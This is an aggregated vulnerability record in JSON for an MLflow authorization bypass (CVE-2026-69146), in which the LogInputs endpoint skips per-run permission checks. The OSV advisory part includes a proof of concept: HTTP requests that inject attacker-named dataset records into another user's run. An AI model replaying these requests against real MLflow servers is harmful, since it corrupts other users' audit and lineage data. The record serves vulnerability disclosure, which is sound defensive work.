{"id":"GHSA-3p64-6gvh-82v5","revision":null,"records":[{"revision":"8ddd5329416542268feb118a771608b7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69146","aliases":[],"title":"MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.","state":0,"publishedAt":"2026-08-17T21:22:42.24+00:00","modifiedAt":"2026-08-18T18:16:46.326+00:00","affected":[{"ecosystem":"Vendor product","name":"mlflow","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"mlflow\",\n                    \"product\": \"mlflow\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.15.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5","https://github.com/mlflow/mlflow/pull/24291","https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693","https://github.com/mlflow/mlflow/releases/tag/v3.15.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69146","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69146","identifiers":["CVE-2026-69146"]},"retained":false,"historicalAffected":[]},{"revision":"03808e6a72364a0397ec73ef5214004c","observedAt":"2026-11-11T16:00:09.54+00:00","statement":{"source":"euvd","id":"EUVD-2026-60475","aliases":["CVE-2026-69146","GHSA-3p64-6gvh-82v5"],"title":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any auth…","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"severity":null}],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5","https://github.com/mlflow/mlflow/pull/24291","https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693","https://github.com/mlflow/mlflow/releases/tag/v3.15.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-60475","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 17, 2026, 9:22:42 PM","dateUpdated":"Aug 18, 2026, 6:16:46 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-60475","identifiers":["EUVD-2026-60475","CVE-2026-69146","GHSA-3p64-6gvh-82v5"]},"retained":false,"historicalAffected":[]},{"revision":"a3c2785092f548c783c198208fe4b97e","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69146","aliases":[],"title":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any auth…","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.","state":0,"publishedAt":"2026-08-17T22:17:26.243+00:00","modifiedAt":"2026-09-18T20:05:53.723+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693","https://github.com/mlflow/mlflow/pull/24291","https://github.com/mlflow/mlflow/releases/tag/v3.15.0","https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69146","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-862"],"productCriteria":[],"sourceDates":{"published":"2026-08-17T22:17:26.243","lastModified":"2026-09-18T20:05:53.723"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69146","identifiers":["CVE-2026-69146"]},"retained":false,"historicalAffected":[]},{"revision":"125de493ed964df1bd8f43ceced9fea8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3p64-6gvh-82v5","aliases":["BIT-mlflow-2026-69146","CVE-2026-69146"],"title":"MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth","description":"### Summary\n\nWhen MLflow is deployed with the built-in basic-auth plugin (`--app-name basic-auth`), any authenticated user can inject arbitrary dataset records into another user's run by calling `POST /api/2.0/mlflow/runs/log-inputs`. The `LogInputs` proto handler is absent from the `BEFORE_REQUEST_HANDLERS` map in `mlflow/server/auth/__init__.py`, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as `POST /api/2.0/mlflow/runs/log-metric` -- correctly return HTTP 403.\n\n### Details\n\nMLflow's basic-auth app gates every HTTP handler through a before-request hook (`_before_request`) that looks up the relevant permission validator in `BEFORE_REQUEST_VALIDATORS`. Validators are built from the `BEFORE_REQUEST_HANDLERS` dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to `None`), `get_before_request_handler` returns `None`, and the resulting entry in `BEFORE_REQUEST_VALIDATORS` is `(path, method): None`.\n\nInside `_before_request`:\n\n```python\n# mlflow/server/auth/__init__.py  _before_request()\nif validator := _find_validator(request):   # None is falsy -- branch skipped\n    if not validator():\n        return make_forbidden_response()\nelif _is_proxy_artifact_path(request.path):  # not a proxy path\n    ...\n# falls through: any authenticated request is allowed\n```\n\nThe `LogInputs` protobuf class is not present in `BEFORE_REQUEST_HANDLERS`:\n\n```python\n# mlflow/server/auth/__init__.py  BEFORE_REQUEST_HANDLERS dict\n# LogInputs is absent; all run-write operations below ARE present:\nLogBatch: validate_can_update_run,\nLogMetric: validate_can_update_run,\nSetTag:    validate_can_update_run,\nLogParam:  validate_can_update_run,\n# LogInputs: <missing>\n```\n\nThe route `/api/2.0/mlflow/runs/log-inputs` (and the identical `/ajax-api/` variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The `LogInputs` handler writes `DatasetInput` records directly to the run's lineage table without any ownership check.\n\n### PoC\n\nPrerequisites: MLflow v3.13.0 running with `--app-name basic-auth`. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).\n\n1. Confirm the authorized endpoint correctly denies alice's write to bob's run:\n\n```\nPOST /api/2.0/mlflow/runs/log-metric HTTP/1.1\nAuthorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)\nContent-Type: application/json\n\n{\"run_id\": \"<bob_run_id>\", \"key\": \"test\", \"value\": 1.0, \"timestamp\": 0, \"step\": 0}\n```\n\nResponse: HTTP 403 Permission denied\n\n2. Inject a dataset record into bob's run as alice:\n\n```\nPOST /api/2.0/mlflow/runs/log-inputs HTTP/1.1\nAuthorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)\nContent-Type: application/json\n\n{\"run_id\": \"<bob_run_id>\", \"datasets\": [{\"dataset\": {\"name\": \"ATTACKER_injected\", \"digest\": \"evil123\", \"profile\": \"attacker_controlled\"}}]}\n```\n\nResponse: HTTP 200 {}\n\n3. Confirm injection persisted:\n\n```\nGET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1\nAuthorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM=   (bob:bob_password_new123)\n```\n\nResponse: HTTP 200 -- dataset_inputs array contains `{\"name\":\"ATTACKER_injected\",\"digest\":\"evil123\",\"profile\":\"attacker_controlled\"}`.\n\n### Impact\n\nAny authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.","state":0,"publishedAt":"2026-08-17T21:59:01+00:00","modifiedAt":"2026-08-21T09:25:53.4022979+00:00","affected":[{"ecosystem":"npm","name":"mlflow","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.15.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5","https://github.com/mlflow/mlflow/pull/24291","https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693","https://github.com/mlflow/mlflow","https://github.com/mlflow/mlflow/releases/tag/v3.15.0"],"sourceUrl":"https://github.com/advisories/GHSA-3p64-6gvh-82v5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3p64-6gvh-82v5","identifiers":["GHSA-3p64-6gvh-82v5","BIT-mlflow-2026-69146","CVE-2026-69146"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T07:09:48.0434594+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T07:09:48.0434594+00:00","lastSuccessAt":"2026-11-13T07:09:48.3275958+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:48.3277431+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-c5309b25400581525e35b5d686fde5eb801ba52451edf64385de1067c7c5e97b","complete":true,"records":424978,"lastAttemptAt":"2026-11-13T07:09:47.3634648+00:00","lastSuccessAt":"2026-11-13T06:55:18.981967+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.3634648+00:00","snapshotPublishedAt":"2026-11-13T06:26:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7c9ccc77f6b94b40bd3e4ca5d87686d2","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T07:13:52.9224246+00:00","lastSuccessAt":"2026-11-13T07:13:52.9824566+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:13:52.9824566+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T07:09:48.0434594+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T07:09:48.0434594+00:00","lastSuccessAt":"2026-11-13T07:09:48.4741485+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:48.4741489+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dad46f90d10c4b5890012c0a64d342dc","complete":true,"records":13793,"lastAttemptAt":"2026-11-13T07:09:49.8746887+00:00","lastSuccessAt":"2026-11-13T06:18:21.149+00:00","error":null,"lastVerifiedAt":"2026-11-13T06:18:21.149+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T07:09:47.7322763+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.7322763+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T07:09:47.5190756+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.5190756+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T07:09:47.8377123+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.8377123+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-178522b1ccf3a779bfdc323be85feb949f35ae83fc129db130584901ae0094bb","complete":true,"records":231768,"lastAttemptAt":"2026-11-13T07:09:47.6322837+00:00","lastSuccessAt":"2026-11-13T06:57:00.764342+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.6322837+00:00","snapshotPublishedAt":"2026-11-13T06:32:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}